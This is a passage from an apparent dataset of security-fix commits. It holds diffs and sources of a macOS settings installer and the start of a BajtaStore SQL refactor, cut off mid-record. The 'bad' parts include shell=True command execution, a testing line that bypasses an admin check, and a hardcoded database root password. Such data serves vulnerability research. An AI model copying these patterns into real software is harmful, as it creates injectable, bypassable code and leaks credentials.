b/os-x-config/standard_tweaks/install_mac_tweaks.py\nindex e6e190e..2b4de51 100755\n--- a/os-x-config/standard_tweaks/install_mac_tweaks.py\n+++ b/os-x-config/standard_tweaks/install_mac_tweaks.py\n@@ -35,7 +35,7 @@ def is_executable(tweak_group, groups, is_admin = is_admin()):\n :param is_admin: True if user belongs to 'admn' group.\n :rtype: boolean\n \"\"\"\n- return True # for testing\n+ # return True # for testing\n if groups is None and tweak_group != 'sudo':\n return True\n if groups is None and tweak_group == 'sudo' and is_admin:\n@@ -69,7 +69,7 @@ def run_batch_mode(tweaks, args):\n \n def run_command(cmd):\n try:\n- subprocess.run(cmd, shell=True, timeout=60, check=True)\n+ subprocess.run(shlex.split(cmd), shell=False, timeout=60, check=True)\n dglogger.log_info(str(cmd))\n except subprocess.CalledProcessError as e:\n # dglogger.log_error(e, file=sys.stderr)\n@@ -164,5 +164,4 @@ def main():\n # # Sorting dictionaries: https://stackoverflow.com/questions/20944483/pythonct-by-its-values/20948781?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa\n # Sorting dictionaries: https://www.pythoncentral.io/how-to-sort-python-dictionaries-by-key-or-value/\n # Asking for a password: https://askubuntu.com/questions/155791/how-do-i-sudo-a-command-in-a-script-without-being-asked-for-a-password\n-# Add shlex parsing for safe passing of parameters\n # --list output to less or more for pagination\ndiff --git a/os-x-config/standard_tweaks/tweaks.py b/os-x-config/standard_tweaks/tweaks.py\nindex 3b3a120..e4e55a7 100755\n--- a/os-x-config/standard_tweaks/tweaks.py\n+++ b/os-x-config/standard_tweaks/tweaks.py\n@@ -55,13 +55,13 @@\n },\n {'group': 'sudo',\n 'description': 'Disable Bonjour multicast advertisements.\\n See https://www.trustwave.com/Resources/SpiderLabs-Blog/mDNS---Telling-the-world-about-you-(and-your-device)/',\n- 'get': 'sudo defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements',\n+ 'get': 'defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements',\n 'set': 'sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'sudo',\n 'description': 'Disable WiFi hotspot screen',\n- 'get': 'sudo defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active',\n+ 'get': 'defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active',\n 'set': 'sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control Active -boolean false',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n", "files": {"/os-x-config/standard_tweaks/install_mac_tweaks.py": {"changes": [{"diff": "\n :param is_admin: True if user belongs to 'admn' group.\n :rtype: boolean\n \"\"\"\n- return True # for testing\n+ # return True # for testing\n if groups is None and tweak_group != 'sudo':\n return True\n if groups is None and tweak_group == 'sudo' and is_admin:\n", "add": 1, "remove": 1, "filename": "/os-x-config/standard_tweaks/install_mac_tweaks.py", "badparts": [" return True # for testing"], "goodparts": []}, {"diff": "\n \n def run_command(cmd):\n try:\n- subprocess.run(cmd, shell=True, timeout=60, check=True)\n+ subprocess.run(shlex.split(cmd), shell=False, timeout=60, check=True)\n dglogger.log_info(str(cmd))\n except subprocess.CalledProcessError as e:\n # dglogger.log_error(e, file=sys.stderr)\n", "add": 1, "remove": 1, "filename": "/os-x-config/standard_tweaks/install_mac_tweaks.py", "badparts": [" subprocess.run(cmd, shell=True, timeout=60, check=True)"], "goodparts": [" subprocess.run(shlex.split(cmd), shell=False, timeout=60, check=True)"]}], "source": "\n \"\"\" Set user settings to optimize performance, Finder and windowing features, and automate standard preference settings. While this is an Apple specific script, it doesn't check to see if it's executing on a Mac. \"\"\" import dglogger import argparse import os import getpass import grp import platform import re import pexpect import shlex import subprocess import sys def is_admin(): \"\"\"Check to see if the user belongs to the 'admin' group. :return: boolean \"\"\" return os.getlogin() in grp.getgrnam('admin').gr_mem def is_executable(tweak_group, groups, is_admin=is_admin()): \"\"\"Determines if the tweak should be executed. :param tweak_group: tweak's group key value. :param groups: groups specified on the command line. :param is_admin: True if user belongs to 'admn' group. :rtype: boolean \"\"\" return True if groups is None and tweak_group !='sudo': return True if groups is None and tweak_group=='sudo' and is_admin: return True if groups is not None and tweak_group in groups and tweak_group !='sudo': return True if groups is not None and tweak_group in groups and tweak_group=='sudo' and is_admin: return True return False def os_supported(min_v, max_v): \"\"\"Checks to see if the preference is supported on your version of the Mac OS. NB: 10.9 is represented in the tweaks.py file as 10.09. :param min_v: :param max_v: :return: boolean \"\"\" os_version=re.match('[0-9]+\\.[0-9]+', platform.mac_ver()[0]).group(0) return not(os_version < str(min_v) or(max_v is not None and os_version > str(max_v))) def run_batch_mode(tweaks, args): for t in tweaks: if os_supported(t['os_v_min'], t['os_v_max']) \\ and is_executable(t['group'], args.groups, is_admin()) \\ and t['group'] !='test': run_command(t['set']) def run_command(cmd): try: subprocess.run(cmd, shell=True, timeout=60, check=True) dglogger.log_info(str(cmd)) except subprocess.CalledProcessError as e: dglogger.log_error(str(e)) except subprocess.TimeoutExpired as e: dglogger.log_error(e, file=sys.stderr) except OSError as e: dglogger.log_error(e, file=sys.stderr) except KeyError as e: dglogger.log_error(e, file=sys.stderr) except TypeError as e: dglogger.log_error(e) def run_interactive_mode(): print(\"Interactive not implemented\") def run_list_mode(indent=' '): \"\"\"helper function to print summary info from the tweaks list. :global arg.list: replies on global results from parser. :param indent: number of spaces to indent. Defaults to 4. :return: \"\"\" print(\"--list: \" +str(args.list)) if args.list=='a' or args.list=='all' or args.list=='g' or args.list=='groups': grp=set() for s in tweaks.tweaks: grp.add(s['group']) print('The groups are:') for t in sorted(grp): print(indent +t) if args.list=='a' or args.list=='all' or args.list=='d' or args.list=='descriptions': descriptions=set() for d in tweaks.tweaks: descriptions.add(d['group'] +' | ' +d['description']) print('group | description:') for t in sorted(descriptions): print(indent +t) def main(): log_file=dglogger.log_config() dglogger.log_start() parser=argparse.ArgumentParser( description=\"\"\"install_mac_tweaks changes user and global settings to improve performance, security, and convenience. Results logged to a file.\"\"\" ) group=parser.add_mutually_exclusive_group() group.add_argument(\"--mode\", choices=['b', 'batch', 'i', 'interactive'], action='store', default='batch', help='Run interactively to confirm each change.') group.add_argument('--list', choices=['all', 'a', 'groups', 'g', 'descriptions', 'd'], action='store', help='Print lists of the groups and set commands. Silently ignores --groups.') parser.add_argument('--groups', type=str, nargs='+', help='Select a subset of tweaks to execute') args=parser.parse_args() try: import tweaks except ImportError as e: dglogger.log_error(e, file=sys.stderr) dglogger.log_end(log_file) sys.exit(1) if args.list is not None: run_list_mode() sys.exit(0) elif args.mode=='batch' or args.mode=='b': run_batch_mode(tweaks.tweaks, args) elif args.mode=='interactive' or args.mode=='i': run_interactive_mode() dglogger.log_end(log_file) if __name__=='__main__': main() else: print(\"WARNING: Was not expecting to be imported. Exiting.\") ", "sourceWithComments": "#! /usr/bin/env python3\n\"\"\"\nSet user settings to optimize performance, Finder and windowing features, and automate standard preference\nsettings.\n\nWhile this is an Apple specific script, it doesn't check to see if it's executing on a Mac.\n\"\"\"\n\nimport dglogger\nimport argparse\nimport os\nimport getpass\nimport grp\nimport platform\nimport re\nimport pexpect\nimport shlex\nimport subprocess\nimport sys\n\n\ndef is_admin():\n \"\"\"Check to see if the user belongs to the 'admin' group.\n\n :return: boolean\n \"\"\"\n return os.getlogin() in grp.getgrnam('admin').gr_mem\n\n\ndef is_executable(tweak_group, groups, is_admin = is_admin()):\n \"\"\"Determines if the tweak should be executed.\n\n :param tweak_group: tweak's group key value.\n :param groups: groups specified on the command line.\n :param is_admin: True if user belongs to 'admn' group.\n :rtype: boolean\n \"\"\"\n return True # for testing\n if groups is None and tweak_group != 'sudo':\n return True\n if groups is None and tweak_group == 'sudo' and is_admin:\n return True\n if groups is not None and tweak_group in groups and tweak_group != 'sudo':\n return True\n if groups is not None and tweak_group in groups and tweak_group == 'sudo' and is_admin:\n return True\n return False\n\n\ndef os_supported(min_v, max_v):\n \"\"\"Checks to see if the preference is supported on your version of the Mac OS.\n NB: 10.9 is represented in the tweaks.py file as 10.09.\n\n :param min_v:\n :param max_v:\n :return: boolean\n \"\"\"\n os_version = re.match('[0-9]+\\.[0-9]+', platform.mac_ver()[0]).group(0) # major.minor\n return not (os_version < str(min_v) or (max_v is not None and os_version > str(max_v)))\n\n\ndef run_batch_mode(tweaks, args):\n for t in tweaks:\n if os_supported(t['os_v_min'], t['os_v_max']) \\\n and is_executable(t['group'], args.groups, is_admin()) \\\n and t['group'] != 'test':\n run_command(t['set'])\n\n\ndef run_command(cmd):\n try:\n subprocess.run(cmd, shell=True, timeout=60, check=True)\n dglogger.log_info(str(cmd))\n except subprocess.CalledProcessError as e:\n# dglogger.log_error(e, file=sys.stderr)\n dglogger.log_error(str(e)) # figure out deal w/file=sys.stderr!\n except subprocess.TimeoutExpired as e:\n dglogger.log_error(e, file=sys.stderr)\n except OSError as e:\n dglogger.log_error(e, file=sys.stderr)\n except KeyError as e:\n dglogger.log_error(e, file=sys.stderr)\n except TypeError as e:\n dglogger.log_error(e)\n\ndef run_interactive_mode():\n print(\"Interactive not implemented\")\n\n\ndef run_list_mode(indent = ' '):\n \"\"\"helper function to print summary info from the tweaks list.\n\n :global arg.list: replies on global results from parser.\n :param indent: number of spaces to indent. Defaults to 4.\n :return:\n \"\"\"\n print(\"--list: \" + str(args.list))\n\n if args.list == 'a' or args.list == 'all' or args.list == 'g' or args.list == 'groups':\n grp = set()\n for s in tweaks.tweaks:\n grp.add(s['group'])\n\n print('The groups are:')\n for t in sorted(grp):\n print(indent + t)\n\n if args.list == 'a' or args.list == 'all' or args.list == 'd' or args.list == 'descriptions':\n descriptions = set()\n for d in tweaks.tweaks:\n descriptions.add(d['group'] + ' | ' + d['description'])\n\n print('group | description:')\n for t in sorted(descriptions):\n print(indent + t)\n\n\ndef main():\n log_file = dglogger.log_config()\n\n dglogger.log_start()\n\n parser = argparse.ArgumentParser(\n description=\"\"\"install_mac_tweaks changes user and global settings to improve performance, security, \n and convenience. Results logged to a file.\"\"\"\n )\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\"--mode\", choices=['b', 'batch', 'i', 'interactive'],\n action = 'store', default = 'batch',\n help='Run interactively to confirm each change.')\n group.add_argument('--list', choices = ['all', 'a', 'groups', 'g', 'descriptions', 'd'],\n action = 'store',\n help='Print lists of the groups and set commands. Silently ignores --groups.')\n parser.add_argument('--groups', type = str, nargs='+',\n help='Select a subset of tweaks to execute')\n args = parser.parse_args()\n\n try:\n import tweaks\n except ImportError as e:\n dglogger.log_error(e, file=sys.stderr)\n dglogger.log_end(log_file)\n sys.exit(1)\n\n if args.list is not None:\n run_list_mode()\n sys.exit(0)\n elif args.mode == 'batch' or args.mode == 'b':\n run_batch_mode(tweaks.tweaks, args)\n elif args.mode == 'interactive' or args.mode == 'i':\n run_interactive_mode()\n\n dglogger.log_end(log_file)\n\n\nif __name__ == '__main__':\n main()\nelse:\n print(\"WARNING: Was not expecting to be imported. Exiting.\")\n\n# regex to replace i and b for mode - code or argsparse fiddling - probably can do in argparse\n# pswd = getpass.getpass()\n# getpass.getuser() for user name - check this code, installer.py & dot-profile, rpr-3-sort-a-diofile.site, home-profile\n# # Sorting dictionaries: https://stackoverflow.com/questions/20944483/pythonct-by-its-values/20948781?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa\n# Sorting dictionaries: https://www.pythoncentral.io/how-to-sort-python-dictionaries-by-key-or-value/\n# Asking for a password: https://askubuntu.com/questions/155791/how-do-i-sudo-a-command-in-a-script-without-being-asked-for-a-password\n# Add shlex parsing for safe passing of parameters\n# --list output to less or more for pagination\n"}, "/os-x-config/standard_tweaks/tweaks.py": {"changes": [{"diff": "\n },\n {'group': 'sudo',\n 'description': 'Disable Bonjour multicast advertisements.\\n See https://www.trustwave.com/Resources/SpiderLabs-Blog/mDNS---Telling-the-world-about-you-(and-your-device)/',\n- 'get': 'sudo defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements',\n+ 'get': 'defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements',\n 'set': 'sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'sudo',\n 'description': 'Disable WiFi hotspot screen',\n- 'get': 'sudo defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active',\n+ 'get': 'defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active',\n 'set': 'sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control Active -boolean false',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n", "add": 2, "remove": 2, "filename": "/os-x-config/standard_tweaks/tweaks.py", "badparts": [" 'get': 'sudo defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements',", " 'get': 'sudo defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active',"], "goodparts": [" 'get': 'defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements',", " 'get': 'defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active',"]}], "source": "\n tweaks=[ {'group': 'test', 'description': 'Test exception handling', 'get': \"foobar\", 'set': \"set-foobar\", 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'animation', 'description': 'Disable animations when opening and closing windows.', 'get': \"defaults read NSGlobalDomain NSAutomaticWindowAnimationsEnabled\", 'set': \"defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false\", 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'animation', 'description': 'Disable animations when opening a Quick Look window.', 'set': \"defaults write -g QLPanelAnimationDuration -float 0\", 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'animation', 'description': 'Disable animation when opening the Info window in OS X Finder(cmd\u2318 +i).', 'set': 'defaults write com.apple.finder DisableAllAnimations -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'animation', 'description': 'Accelerated playback when adjusting the window size(Cocoa applications).', 'set': 'defaults write NSGlobalDomain NSWindowResizeTime -float 0.001', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'animation', 'description': 'Disable animations when you open an application from the Dock.', 'set': 'defaults write com.apple.dock launchanim -bool false', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'app', 'description': 'Always show the full URL in the search/url field', 'get': 'defaults read com.apple.Safari ShowFullURLInSmartSearchField', 'set': 'defaults write com.apple.Safari ShowFullURLInSmartSearchField -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'admin', 'description': 'Show Recovery partition & EFI Boot partition', 'set': 'defaults write com.apple.DiskUtility DUDebugMenuEnabled -bool true', 'os_v_min': '10.09', 'os_v_max': '10.10' }, {'group': 'general', 'description': 'Disable shadow in screenshots', 'set': 'defaults write com.apple.screencapture disable-shadow -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'sudo', 'description': 'Disable Bonjour multicast advertisements.\\n See https://www.trustwave.com/Resources/SpiderLabs-Blog/mDNS---Telling-the-world-about-you-(and-your-device)/', 'get': 'sudo defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements', 'set': 'sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'sudo', 'description': 'Disable WiFi hotspot screen', 'get': 'sudo defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active', 'set': 'sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control Active -boolean false', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Don\u2019t show Dashboard as a Space', 'get': 'defaults read com.apple.dock dashboard-in-overlay', 'set': 'defaults write com.apple.dock dashboard-in-overlay -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Show file path in title of finder window', 'set': 'defaults write com.apple.finder _FXShowPosixPathInTitle -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Enable AirDrop feature for ethernet connected Macs', 'set': 'defaults write com.apple.NetworkBrowser BrowseAllInterfaces -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Always show scroll bars', 'set': 'defaults write NSGlobalDomain AppleShowScrollBars -string \"Always\"', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Expand Save panel by default(1/2)', 'set': 'defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Expand Save panel by default(2/2)', 'set': 'defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode2 -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Expand Print menu by default(1/2)', 'set': 'defaults write NSGlobalDomain PMPrintingExpandedStateforPrint -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Expand Print menu by default(2/2)', 'set': 'defaults write NSGlobalDomain PMPrintingExpandedStateforPrint2 -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Make all animations faster that are used by Mission Control.', 'set': 'defaults write com.apple.dock expose-animation-duration -float 0.1', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Disable the delay when you hide the Dock', 'set': 'defaults write com.apple.Dock autohide-delay -float 0', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Remove the animation when hiding/showing the Dock', 'set': 'defaults write com.apple.dock autohide-time-modifier -float 0', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'app', 'description': 'Disable the animation when you replying to an e-mail', 'set': 'defaults write com.apple.mail DisableReplyAnimations -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'app', 'description': 'Disable the animation when you sending an e-mail', 'set': 'defaults write com.apple.mail DisableSendAnimations -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'app', 'description': 'Disable the standard delay in rendering a Web page.', 'set': 'defaults write com.apple.Safari WebKitInitialTimedLayoutDelay 0.25', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'The keyboard react faster to keystrokes(not equally useful for everyone)', 'set': 'defaults write NSGlobalDomain KeyRepeat -int 0', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'general', 'description': 'Disable smooth scrolling for paging(space bar)', 'set': 'defaults write -g NSScrollAnimationEnabled -bool false', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Avoid creating.DS_Store files on network volumes', 'set': 'defaults write com.apple.desktopservices DSDontWriteNetworkStores -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Avoid creating.DS_Store files on USB volumes', 'set': 'defaults write com.apple.desktopservices DSDontWriteUSBStores -bool true', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Show the ~/Library folder', 'set': 'chflags nohidden ~/Library', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Save to disk(not to iCloud) by default', 'set': 'defaults write NSGlobalDomain NSDocumentSaveNewDocumentsToCloud -bool false', 'os_v_min': '10.09', 'os_v_max': None }, {'group': 'Finder', 'description': 'Disable the warning when changing a file extension', 'set': 'defaults write com.apple.finder FXEnableExtensionChangeWarning -bool false', 'os_v_min': '10.09', 'os_v_max': None } ] ", "sourceWithComments": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Definition of OS X/MacOS tweaks\n# group, description, set, get, os_v_min, os_ver_max\n\ntweaks = [\n {'group': 'test',\n 'description': 'Test exception handling',\n 'get': \"foobar\",\n 'set': \"set-foobar\",\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'animation',\n 'description': 'Disable animations when opening and closing windows.',\n 'get': \"defaults read NSGlobalDomain NSAutomaticWindowAnimationsEnabled\",\n 'set': \"defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false\",\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'animation',\n 'description': 'Disable animations when opening a Quick Look window.',\n 'set': \"defaults write -g QLPanelAnimationDuration -float 0\",\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'animation',\n 'description': 'Disable animation when opening the Info window in OS X Finder (cmd\u2318 + i).',\n 'set': 'defaults write com.apple.finder DisableAllAnimations -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'animation',\n 'description': 'Accelerated playback when adjusting the window size (Cocoa applications).',\n 'set': 'defaults write NSGlobalDomain NSWindowResizeTime -float 0.001',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'animation',\n 'description': 'Disable animations when you open an application from the Dock.',\n 'set': 'defaults write com.apple.dock launchanim -bool false',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'app',\n 'description': 'Always show the full URL in the search/url field',\n 'get': 'defaults read com.apple.Safari ShowFullURLInSmartSearchField',\n 'set': 'defaults write com.apple.Safari ShowFullURLInSmartSearchField -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'admin',\n 'description': 'Show Recovery partition & EFI Boot partition',\n 'set': 'defaults write com.apple.DiskUtility DUDebugMenuEnabled -bool true',\n 'os_v_min': '10.09', 'os_v_max': '10.10'\n },\n {'group': 'general',\n 'description': 'Disable shadow in screenshots',\n 'set': 'defaults write com.apple.screencapture disable-shadow -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'sudo',\n 'description': 'Disable Bonjour multicast advertisements.\\n See https://www.trustwave.com/Resources/SpiderLabs-Blog/mDNS---Telling-the-world-about-you-(and-your-device)/',\n 'get': 'sudo defaults read /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements',\n 'set': 'sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'sudo',\n 'description': 'Disable WiFi hotspot screen',\n 'get': 'sudo defaults read /Library/Preferences/SystemConfiguration/com.apple.captive.control Active',\n 'set': 'sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control Active -boolean false',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'general',\n 'description': 'Don\u2019t show Dashboard as a Space',\n 'get': 'defaults read com.apple.dock dashboard-in-overlay',\n 'set': 'defaults write com.apple.dock dashboard-in-overlay -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'Finder',\n 'description': 'Show file path in title of finder window',\n 'set': 'defaults write com.apple.finder _FXShowPosixPathInTitle -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'general',\n 'description': 'Enable AirDrop feature for ethernet connected Macs',\n 'set': 'defaults write com.apple.NetworkBrowser BrowseAllInterfaces -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'general',\n 'description': 'Always show scroll bars',\n 'set': 'defaults write NSGlobalDomain AppleShowScrollBars -string \"Always\"',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'general',\n 'description': 'Expand Save panel by default (1/2)',\n 'set': 'defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'general',\n 'description': 'Expand Save panel by default (2/2)',\n 'set': 'defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode2 -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'general', 'description': 'Expand Print menu by default (1/2)',\n 'set': 'defaults write NSGlobalDomain PMPrintingExpandedStateforPrint -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'general', 'description': 'Expand Print menu by default (2/2)',\n 'set': 'defaults write NSGlobalDomain PMPrintingExpandedStateforPrint2 -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'general',\n 'description': 'Make all animations faster that are used by Mission Control.',\n 'set': 'defaults write com.apple.dock expose-animation-duration -float 0.1',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'Finder',\n 'description': 'Disable the delay when you hide the Dock',\n 'set': 'defaults write com.apple.Dock autohide-delay -float 0',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'Finder',\n 'description': 'Remove the animation when hiding/showing the Dock',\n 'set': 'defaults write com.apple.dock autohide-time-modifier -float 0',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'app',\n 'description': 'Disable the animation when you replying to an e-mail',\n 'set': 'defaults write com.apple.mail DisableReplyAnimations -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'app',\n 'description': 'Disable the animation when you sending an e-mail',\n 'set': 'defaults write com.apple.mail DisableSendAnimations -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'app',\n 'description': 'Disable the standard delay in rendering a Web page.',\n 'set': 'defaults write com.apple.Safari WebKitInitialTimedLayoutDelay 0.25',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'general',\n 'description': 'The keyboard react faster to keystrokes (not equally useful for everyone)',\n 'set': 'defaults write NSGlobalDomain KeyRepeat -int 0',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'general',\n 'description': 'Disable smooth scrolling for paging (space bar)',\n 'set': 'defaults write -g NSScrollAnimationEnabled -bool false',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'Finder',\n 'description': 'Avoid creating .DS_Store files on network volumes',\n 'set': 'defaults write com.apple.desktopservices DSDontWriteNetworkStores -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n {'group': 'Finder',\n 'description': 'Avoid creating .DS_Store files on USB volumes',\n 'set': 'defaults write com.apple.desktopservices DSDontWriteUSBStores -bool true',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'Finder',\n 'description': 'Show the ~/Library folder',\n 'set': 'chflags nohidden ~/Library',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'Finder',\n 'description': 'Save to disk (not to iCloud) by default',\n 'set': 'defaults write NSGlobalDomain NSDocumentSaveNewDocumentsToCloud -bool false',\n 'os_v_min': '10.09', 'os_v_max': None\n },\n\n {'group': 'Finder',\n 'description': 'Disable the warning when changing a file extension',\n 'set': 'defaults write com.apple.finder FXEnableExtensionChangeWarning -bool false',\n 'os_v_min': '10.09', 'os_v_max': None\n }\n]\n"}}, "msg": "For sudo commands, removed 'sudo' from read commands. Added shlex call to prevent injection attacks. Various other issues remain in the code."}}, "https://github.com/blaz1/BajtaStore": {"5a27336fbe3c220455a015f1bdc2621621f4bf40": {"url": "https://api.github.com/repos/blaz1/BajtaStore/commits/5a27336fbe3c220455a015f1bdc2621621f4bf40", "html_url": "https://github.com/blaz1/BajtaStore/commit/5a27336fbe3c220455a015f1bdc2621621f4bf40", "message": "removed extra wrapper class for sql commands, because hard to pass params to prevent sql injection", "sha": "5a27336fbe3c220455a015f1bdc2621621f4bf40", "keyword": "command injection prevent", "diff": "diff --git a/Server/model.py b/Server/model.py\nindex cd8b4e4..029c333 100644\n--- a/Server/model.py\n+++ b/Server/model.py\n@@ -1,10 +1,15 @@\n-from mysql_commands import *\n+import sqlalchemy\n+from sqlalchemy import text\n+from sqlalchemy.orm import sessionmaker, scoped_session\n+\n+engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\n+Session = scoped_session(sessionmaker(bind=engine))\n \n def select_all_apps():\n-\treturn select_row_from_mysql_command(\"SELECT * FROM apps\")\n+\treturn s.execute(\"SELECT * FROM apps\").fetchall()\n \n def select_all_apps_from_user(user_id):\n-\treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n+\treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n \n def select_all_devices_from_user(user_id):\n-\treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file\n+\treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file\ndiff --git a/Server/mysql_commands.py b/Server/mysql_commands.py\ndeleted file mode 100644\nindex 6c391b8..0000000\n--- a/Server/mysql_commands.py\n+++ /dev/null\n@@ -1,23 +0,0 @@\n-import sqlalchemy\n-from sqlalchemy import text\n-from sqlalchemy.orm import sessionmaker, scoped_session\n-\n-engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\n-Session = scoped_session(sessionmaker(bind=engine))\n-\n-s = Session()\n-\n-def select_row_from_mysql_command(command_str):\n- ''' function for selecting a specific row '''\n- ''' OUPUT: a list of elements in the selected row '''\n-\n- sql = text(str(command_str))\n- return s.execute(sql).fetchall()\n-\n-\n-def insert_into_mysql_command(command_str):\n- ''' the function inserts data depending from a command_str '''\n-\n- sql = text(str(command_str))\n- s.execute(sql)\n- s.commit()\n", "files": {"/Server/model.py": {"changes": [{"diff": "\n-from mysql_commands import *\n+import sqlalchemy\n+from sqlalchemy import text\n+from sqlalchemy.orm import sessionmaker, scoped_session\n+\n+engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\n+Session = scoped_session(sessionmaker(bind=engine))\n \n def select_all_apps():\n-\treturn select_row_from_mysql_command(\"SELECT * 